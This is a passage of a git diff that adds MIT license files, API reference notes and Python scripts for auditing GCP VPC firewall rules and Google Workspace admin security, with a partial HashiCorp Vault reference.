copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-gcp-organization-policy-constraints/LICENSE b/skills/implementing-gcp-organization-policy-constraints/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-gcp-organization-policy-constraints/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-gcp-vpc-firewall-rules/LICENSE b/skills/implementing-gcp-vpc-firewall-rules/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-gcp-vpc-firewall-rules/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md b/skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md new file mode 100644 index 00000000..3311f369 --- /dev/null +++ b/skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Implementing GCP VPC Firewall Rules + +## Libraries + +### google-cloud-compute +- **Install**: `pip install google-cloud-compute` +- **Docs**: https://cloud.google.com/python/docs/reference/compute/latest + +### Key Classes and Methods + +| Class | Method | Description | +|-------|--------|-------------| +| `FirewallsClient` | `list(project)` | List all firewall rules | +| `FirewallsClient` | `get(project, firewall)` | Get rule details | +| `FirewallsClient` | `insert(project, firewall_resource)` | Create rule | +| `FirewallsClient` | `patch(project, firewall, firewall_resource)` | Update rule | +| `FirewallsClient` | `delete(project, firewall)` | Delete rule | +| `NetworksClient` | `list(project)` | List VPC networks | + +### Firewall Rule Object Fields +- `name` -- Rule name (unique per project) +- `network` -- VPC network path +- `direction` -- `INGRESS` or `EGRESS` +- `priority` -- 0 (highest) to 65535 (lowest) +- `allowed[]` -- Protocol and port combinations to allow +- `denied[]` -- Protocol and port combinations to deny +- `source_ranges[]` -- Source CIDR ranges for ingress +- `destination_ranges[]` -- Destination CIDRs for egress +- `target_tags[]` -- Network tags to apply rule to +- `source_tags[]` -- Source instance tags +- `disabled` -- Boolean to disable without deleting +- `log_config.enable` -- Enable firewall rule logging + +## Priority Ranges (Best Practice) +- 0-999: Emergency/override rules +- 1000-9999: Organization policies +- 10000-49999: Application-specific rules +- 50000-64999: Default deny rules +- 65534: Implied allow egress (GCP default) +- 65535: Implied deny ingress (GCP default) + +## gcloud CLI Equivalents +- `gcloud compute firewall-rules list` +- `gcloud compute firewall-rules create NAME --allow tcp:22 --source-ranges 10.0.0.0/8` +- `gcloud compute firewall-rules delete NAME` +- `gcloud compute firewall-rules update NAME --disabled` + +## Hierarchical Firewall Policies +- Organization-level: `compute.firewallPolicies` +- Folder-level: Applied via `compute.firewallPolicies.addAssociation` +- Evaluation order: Organization > Folder > VPC rules + +## External References +- VPC Firewall Rules: https://cloud.google.com/vpc/docs/firewalls +- Firewall Policies: https://cloud.google.com/vpc/docs/firewall-policies +- VPC Flow Logs: https://cloud.google.com/vpc/docs/using-flow-logs +- Cloud Armor WAF: https://cloud.google.com/armor/docs diff --git a/skills/implementing-gcp-vpc-firewall-rules/scripts/agent.py b/skills/implementing-gcp-vpc-firewall-rules/scripts/agent.py new file mode 100644 index 00000000..5aa6b07b --- /dev/null +++ b/skills/implementing-gcp-vpc-firewall-rules/scripts/agent.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python3 +"""GCP VPC firewall rules audit and management agent.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + from google.cloud import compute_v1 + from google.api_core.exceptions import GoogleAPIError +except ImportError: + print("Install: pip install google-cloud-compute") + sys.exit(1) + + +def get_firewall_client(): + """Create GCP Compute Engine firewall client.""" + return compute_v1.FirewallsClient() + + +def list_firewall_rules(project_id): + """List all VPC firewall rules in a project.""" + client = get_firewall_client() + rules = [] + for rule in client.list(project=project_id): + rules.append({ + "name": rule.name, + "network": rule.network.split("/")[-1] if rule.network else "", + "direction": rule.direction, + "priority": rule.priority, + "action": "ALLOW" if rule.allowed else "DENY", + "source_ranges": list(rule.source_ranges) if rule.source_ranges else [], + "destination_ranges": list(rule.destination_ranges) if rule.destination_ranges else [], + "target_tags": list(rule.target_tags) if rule.target_tags else [], + "allowed": [{"protocol": a.I_p_protocol, + "ports": list(a.ports) if a.ports else ["all"]} + for a in rule.allowed] if rule.allowed else [], + "denied": [{"protocol": d.I_p_protocol, + "ports": list(d.ports) if d.ports else ["all"]} + for d in rule.denied] if rule.denied else [], + "disabled": rule.disabled, + "log_config_enabled": rule.log_config.enable if rule.log_config else False, + }) + return sorted(rules, key=lambda r: r["priority"]) + + +def find_overly_permissive_rules(project_id): + """Identify firewall rules that are overly permissive (0.0.0.0/0).""" + rules = list_firewall_rules(project_id) + findings = [] + for rule in rules: + if rule["disabled"]: + continue + if "0.0.0.0/0" in rule.get("source_ranges", []): + for allowed in rule.get("allowed", []): + ports = allowed.get("ports", ["all"]) + severity = "CRITICAL" if "all" in ports or "22" in ports or "3389" in ports \ + else "HIGH" if "80" in ports or "443" in ports else "MEDIUM" + findings.append({ + "rule_name": rule["name"], + "network": rule["network"], + "severity": severity, + "protocol": allowed["protocol"], + "ports": ports, + "issue": "Source range 0.0.0.0/0 allows traffic from any IP", + "recommendation": "Restrict source ranges to specific CIDR blocks", + }) + return findings + + +def audit_default_rules(project_id): + """Audit default network firewall rules for security issues.""" + rules = list_firewall_rules(project_id) + default_issues = [] + for rule in rules: + if "default" in rule["name"].lower(): + if "0.0.0.0/0" in rule.get("source_ranges", []) and not rule["disabled"]: + default_issues.append({ + "rule": rule["name"], + "issue": "Default rule allows traffic from all sources", + "action": "Disable or restrict default permissive rules", + }) + return default_issues + + +def create_firewall_rule(project_id, name, network, direction, priority, + allowed_protocols, source_ranges, target_tags=None): + """Create a new VPC firewall rule.""" + client = get_firewall_client() + allowed = [] + for proto, ports in allowed_protocols.items(): + entry = compute_v1.Allowed() + entry.I_p_protocol = proto + if ports: + entry.ports = ports + allowed.append(entry) + rule = compute_v1.Firewall() + rule.name = name + rule.network = f"projects/{project_id}/global/networks/{network}" + rule.direction = direction + rule.priority = priority + rule.allowed = allowed + rule.source_ranges = source_ranges + if target_tags: + rule.target_tags = target_tags + rule.log_config = compute_v1.FirewallLogConfig(enable=True) + try: + operation = client.insert(project=project_id, firewall_resource=rule) + return {"name": name, "status": "creating", "operation": operation.name} + except GoogleAPIError as e: + return {"name": name, "status": "error", "message": str(e)} + + +def delete_firewall_rule(project_id, rule_name): + """Delete a firewall rule by name.""" + client = get_firewall_client() + try: + operation = client.delete(project=project_id, firewall=rule_name) + return {"name": rule_name, "status": "deleting", "operation": operation.name} + except GoogleAPIError as e: + return {"name": rule_name, "status": "error", "message": str(e)} + + +def check_logging_status(project_id): + """Check which firewall rules have logging enabled.""" + rules = list_firewall_rules(project_id) + unlogged = [r for r in rules if not r["log_config_enabled"] and not r["disabled"]] + logged = [r for r in rules if r["log_config_enabled"]] + return {"logged": len(logged), "unlogged": len(unlogged), + "unlogged_rules": [r["name"] for r in unlogged]} + + +def run_firewall_audit(project_id): + """Run a comprehensive firewall audit.""" + print(f"\n{'='*60}") + print(f" GCP VPC FIREWALL AUDIT") + print(f" Project: {project_id}") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + rules = list_firewall_rules(project_id) + print(f"--- ALL RULES ({len(rules)}) ---") + for r in rules: + status = "DISABLED" if r["disabled"] else "ACTIVE" + print(f" [{r['priority']:5d}] {r['name']} ({status}) -> {r['network']}") + + findings = find_overly_permissive_rules(project_id) + print(f"\n--- OVERLY PERMISSIVE RULES ({len(findings)}) ---") + for f in findings: + print(f" [{f['severity']}] {f['rule_name']}: {f['protocol']} ports {f['ports']}") + print(f" {f['recommendation']}") + + default_issues = audit_default_rules(project_id) + print(f"\n--- DEFAULT RULE ISSUES ({len(default_issues)}) ---") + for d in default_issues: + print(f" {d['rule']}: {d['issue']}") + + logging = check_logging_status(project_id) + print(f"\n--- LOGGING STATUS ---") + print(f" Rules with logging: {logging['logged']}") + print(f" Rules without logging: {logging['unlogged']}") + + print(f"\n{'='*60}\n") + return {"total_rules": len(rules), "permissive_findings": len(findings), + "logging": logging} + + +def main(): + parser = argparse.ArgumentParser(description="GCP VPC Firewall Rules Agent") + parser.add_argument("--project", required=True, help="GCP project ID") + parser.add_argument("--audit", action="store_true", help="Run firewall audit") + parser.add_argument("--list", action="store_true", help="List all rules") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.audit: + report = run_firewall_audit(args.project) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + elif args.list: + rules = list_firewall_rules(args.project) + print(json.dumps(rules, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-gdpr-data-protection-controls/LICENSE b/skills/implementing-gdpr-data-protection-controls/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-gdpr-data-protection-controls/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-github-advanced-security-for-code-scanning/LICENSE b/skills/implementing-github-advanced-security-for-code-scanning/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-github-advanced-security-for-code-scanning/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-google-workspace-admin-security/LICENSE b/skills/implementing-google-workspace-admin-security/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-google-workspace-admin-security/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-google-workspace-admin-security/references/api-reference.md b/skills/implementing-google-workspace-admin-security/references/api-reference.md new file mode 100644 index 00000000..25191a8d --- /dev/null +++ b/skills/implementing-google-workspace-admin-security/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Implementing Google Workspace Admin Security + +## Libraries + +### google-api-python-client + google-auth +- **Install**: `pip install google-api-python-client google-auth` +- **Docs**: https://developers.google.com/admin-sdk/directory/reference/rest + +## Admin SDK Directory API + +| Method | Description | +|--------|-------------| +| `users().list(domain, projection="full")` | List users with full profile | +| `users().get(userKey)` | Get specific user details | +| `users().update(userKey, body)` | Update user settings | +| `users().list(query="isAdmin=true")` | List admin users | +| `orgunits().list(customerId)` | List organizational units | +| `roles().list(customer)` | List admin roles | +| `roleAssignments().list(customer)` | List role assignments | + +## Reports API (Audit Logs) + +| Method | Description | +|--------|-------------| +| `activities().list(userKey, applicationName)` | Get audit events | +| Application names: `login`, `admin`, `drive`, `token`, `mobile` | + +## Key User Fields for Security + +| Field | Description | +|-------|-------------| +| `isEnrolledIn2Sv` | User enrolled in 2-Step Verification | +| `isEnforcedIn2Sv` | 2SV enforcement applied | +| `isAdmin` | Super admin status | +| `isDelegatedAdmin` | Delegated admin status | +| `lastLoginTime` | Last login timestamp | +| `recoveryEmail` | Recovery email (risk if external) | +| `recoveryPhone` | Recovery phone number | +| `isSuspended` | Account suspended | + +## OAuth Scopes Required +- `admin.directory.user` -- User management +- `admin.directory.domain` -- Domain settings +- `admin.reports.audit.readonly` -- Audit log access +- `admin.directory.orgunit` -- Org unit management + +## Login Event Names +- `login_success` -- Successful login +- `login_failure` -- Failed login attempt +- `login_challenge` -- 2FA challenge issued +- `suspicious_login` -- Flagged by Google +- `account_disabled_password_leak` -- Compromised password + +## External References +- Admin SDK: https://developers.google.com/admin-sdk +- Workspace Security Best Practices: https://support.google.com/a/answer/7587183 +- CIS Google Workspace Benchmark: https://www.cisecurity.org/benchmark/google_workspace +- Reports API: https://developers.google.com/admin-sdk/reports/reference/rest diff --git a/skills/implementing-google-workspace-admin-security/scripts/agent.py b/skills/implementing-google-workspace-admin-security/scripts/agent.py new file mode 100644 index 00000000..d9e79c82 --- /dev/null +++ b/skills/implementing-google-workspace-admin-security/scripts/agent.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +"""Google Workspace admin security hardening agent using Admin SDK.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + from google.oauth2 import service_account + from googleapiclient.discovery import build + from googleapiclient.errors import HttpError +except ImportError: + print("Install: pip install google-api-python-client google-auth") + sys.exit(1) + + +SCOPES = [ + "https://www.googleapis.com/auth/admin.directory.user", + "https://www.googleapis.com/auth/admin.directory.domain", + "https://www.googleapis.com/auth/admin.reports.audit.readonly", + "https://www.googleapis.com/auth/admin.directory.orgunit", +] + + +def get_admin_service(credentials_file, admin_email, api="admin", version="directory_v1"): + """Build Google Admin SDK service with domain-wide delegation.""" + creds = service_account.Credentials.from_service_account_file( + credentials_file, scopes=SCOPES, subject=admin_email) + return build(api, version, credentials=creds) + + +def get_reports_service(credentials_file, admin_email): + """Build Reports API service.""" + creds = service_account.Credentials.from_service_account_file( + credentials_file, scopes=SCOPES, subject=admin_email) + return build("admin", "reports_v1", credentials=creds) + + +def list_users_without_2fa(service, domain): + """List users who have not enrolled in 2-Step Verification.""" + users_without_2fa = [] + request = service.users().list(domain=domain, maxResults=500, + projection="full", orderBy="email") + while request: + response = request.execute() + for user in response.get("users", []): + is_enrolled = user.get("isEnrolledIn2Sv", False) + is_enforced = user.get("isEnforcedIn2Sv", False) + if not is_enrolled: + users_without_2fa.append({ + "email": user["primaryEmail"], + "name": user.get("name", {}).get("fullName", ""), + "is_admin": user.get("isAdmin", False), + "is_2sv_enrolled": is_enrolled, + "is_2sv_enforced": is_enforced, + "last_login": user.get("lastLoginTime", "never"), + }) + request = service.users().list_next(request, response) + return users_without_2fa + + +def list_admin_users(service, domain): + """List all admin users and their admin roles.""" + admins = [] + request = service.users().list(domain=domain, maxResults=500, + projection="full", query="isAdmin=true") + response = request.execute() + for user in response.get("users", []): + admins.append({ + "email": user["primaryEmail"], + "name": user.get("name", {}).get("fullName", ""), + "is_super_admin": user.get("isAdmin", False), + "is_delegated_admin": user.get("isDelegatedAdmin", False), + "is_2sv_enrolled": user.get("isEnrolledIn2Sv", False), + "last_login": user.get("lastLoginTime", "never"), + "creation_time": user.get("creationTime", ""), + }) + return admins + + +def get_login_audit_events(reports_service, user_email=None, days=7): + """Get login audit events to detect suspicious activity.""" + events = [] + try: + params = {"userKey": "all", "applicationName": "login", "maxResults": 200} + if user_email: + params["userKey"] = user_email + request = reports_service.activities().list(**params) + response = request.execute() + for activity in response.get("items", []): + for event in activity.get("events", []): + event_data = { + "user": activity.get("actor", {}).get("email", ""), + "event_name": event.get("name", ""), + "time": activity.get("id", {}).get("time", ""), + "ip_address": activity.get("ipAddress", ""), + } + for param in event.get("parameters", []): + event_data[param["name"]] = param.get("value", param.get("boolValue", "")) + events.append(event_data) + except HttpError as e: + events.append({"error": str(e)}) + return events + + +def check_suspended_users(service, domain): + """List suspended users that may still have active sessions.""" + suspended = [] + request = service.users().list(domain=domain, maxResults=500, + query="isSuspended=true") + response = request.execute() + for user in response.get("users", []): + suspended.append({ + "email": user["primaryEmail"], + "suspension_reason": user.get("suspensionReason", "manual"), + "last_login": user.get("lastLoginTime", "never"), + }) + return suspended + + +def check_recovery_settings(service, domain): + """Audit users with recovery email/phone that could be used for account takeover.""" + findings = [] + request = service.users().list(domain=domain, maxResults=500, projection="full") + response = request.execute() + for user in response.get("users", []): + recovery_email = user.get("recoveryEmail", "") + recovery_phone = user.get("recoveryPhone", "") + if user.get("isAdmin") and (recovery_email or recovery_phone): + if recovery_email and not recovery_email.endswith(f"@{domain}"): + findings.append({ + "email": user["primaryEmail"], + "issue": "Admin has external recovery email", + "recovery_email": recovery_email, + "severity": "HIGH", + }) + return findings + + +def run_workspace_audit(service, reports_service, domain): + """Run comprehensive Google Workspace security audit.""" + print(f"\n{'='*60}") + print(f" GOOGLE WORKSPACE SECURITY AUDIT") + print(f" Domain: {domain}") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + admins = list_admin_users(service, domain) + print(f"--- ADMIN ACCOUNTS ({len(admins)}) ---") + for a in admins: + mfa_status = "2FA ON" if a["is_2sv_enrolled"] else "2FA OFF" + print(f" [{mfa_status}] {a['email']} (Super: {a['is_super_admin']})") + + no_2fa = list_users_without_2fa(service, domain) + print(f"\n--- USERS WITHOUT 2FA ({len(no_2fa)}) ---") + admin_no_2fa = [u for u in no_2fa if u["is_admin"]] + if admin_no_2fa: + print(f" CRITICAL: {len(admin_no_2fa)} admin(s) without 2FA!") + for u in admin_no_2fa: + print(f" {u['email']}") + print(f" Total users without 2FA: {len(no_2fa)}") + + recovery = check_recovery_settings(service, domain) + print(f"\n--- RECOVERY SETTINGS ISSUES ({len(recovery)}) ---") + for r in recovery: + print(f" [{r['severity']}] {r['email']}: {r['issue']}") + + suspended = check_suspended_users(service, domain) + print(f"\n--- SUSPENDED USERS ({len(suspended)}) ---") + for s in suspended[:5]: + print(f" {s['email']} (Reason: {s['suspension_reason']})") + + events = get_login_audit_events(reports_service) + suspicious = [e for e in events if e.get("event_name") == "login_failure"] + print(f"\n--- RECENT LOGIN EVENTS ---") + print(f" Total events: {len(events)}") + print(f" Failed logins: {len(suspicious)}") + + print(f"\n{'='*60}\n") + return {"admins": len(admins), "no_2fa": len(no_2fa), + "admin_no_2fa": len(admin_no_2fa), "suspended": len(suspended)} + + +def main(): + parser = argparse.ArgumentParser(description="Google Workspace Admin Security Agent") + parser.add_argument("--credentials", required=True, help="Service account JSON key file") + parser.add_argument("--admin-email", required=True, help="Admin email for delegation") + parser.add_argument("--domain", required=True, help="Google Workspace domain") + parser.add_argument("--audit", action="store_true", help="Run full security audit") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.audit: + service = get_admin_service(args.credentials, args.admin_email) + reports = get_reports_service(args.credentials, args.admin_email) + report = run_workspace_audit(service, reports, args.domain) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-google-workspace-phishing-protection/LICENSE b/skills/implementing-google-workspace-phishing-protection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-google-workspace-phishing-protection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-google-workspace-sso-configuration/LICENSE b/skills/implementing-google-workspace-sso-configuration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-google-workspace-sso-configuration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-hashicorp-vault-dynamic-secrets/LICENSE b/skills/implementing-hashicorp-vault-dynamic-secrets/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-hashicorp-vault-dynamic-secrets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md b/skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md new file mode 100644 index 00000000..f2cd8b13 --- /dev/null +++ b/skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md @@ -0,0 +1,69 @@ +# API Reference: Implementing HashiCorp Vault Dynamic Secrets + +## Libraries + +### hvac (HashiCorp Vault Client) +- **Install**: `pip install hvac` +- **Docs**: https://hvac.readthedocs.io/en/stable/ + +## Database Secrets Engine + +| Method | Description | +|--------|-------------| +| `secrets.database.configure()` | Set up database connection | +| `secrets.database.create_role()` | Define dynamic credential role | +| `secrets.database.generate_credentials()` | Generate ephemeral DB credentials | +| `secrets.database.rotate_root_credentials()` | Rotate root DB password | +| Plugins: `postgresql-database-plugin`, `mysql-database-plugin`, `mongodb-database-plugin` | + +## AWS Secrets Engine + +| Method | Description | +|--------|-------------| +| `secrets.aws.configure_root_iam_credentials()` | Set AWS root creds | +| `secrets.aws.create_or_update_role()` | Define IAM role template | +| `secrets.aws.generate_credentials()` | Generate dynamic IAM keys | +| Credential types: `iam_user`, `assumed_role`, `federation_token` | + +## PKI Secrets Engine + +| Method | Description | +|--------|-------------| +| `sys.enable_secrets_engine(backend_type="pki")` | Enable PKI | +| `secrets.pki.generate_root()` | Create CA root certificate | +| `secrets.pki.create_or_update_role()` | Define cert issuance role | +| `secrets.pki.generate_certificate()` | Issue dynamic certificate | + +## Lease Management + +| Method | Description | +|--------|-------------| +| `sys.list_leases(prefix)` | List active leases | +| `sys.revoke_lease(lease_id)` | Revoke specific credential | +| `sys.revoke_prefix(prefix)` | Revoke all under prefix | +| `sys.renew_lease(lease_id, increment)` | Extend lease TTL | + +## Authentication Methods + +| Method | Description | +|--------|-------------| +| `auth.token` | Token-based auth | +| `auth.approle.login()` | AppRole for applications | +| `auth.kubernetes.login()` | Kubernetes service account | +| `auth.aws.iam_login()` | AWS IAM-based auth | + +## System Operations + +| Method | Description | +|--------|-------------| +| `sys.read_health_status()` | Vault health check | +| `sys.list_mounted_secrets_engines()` | List secrets engines 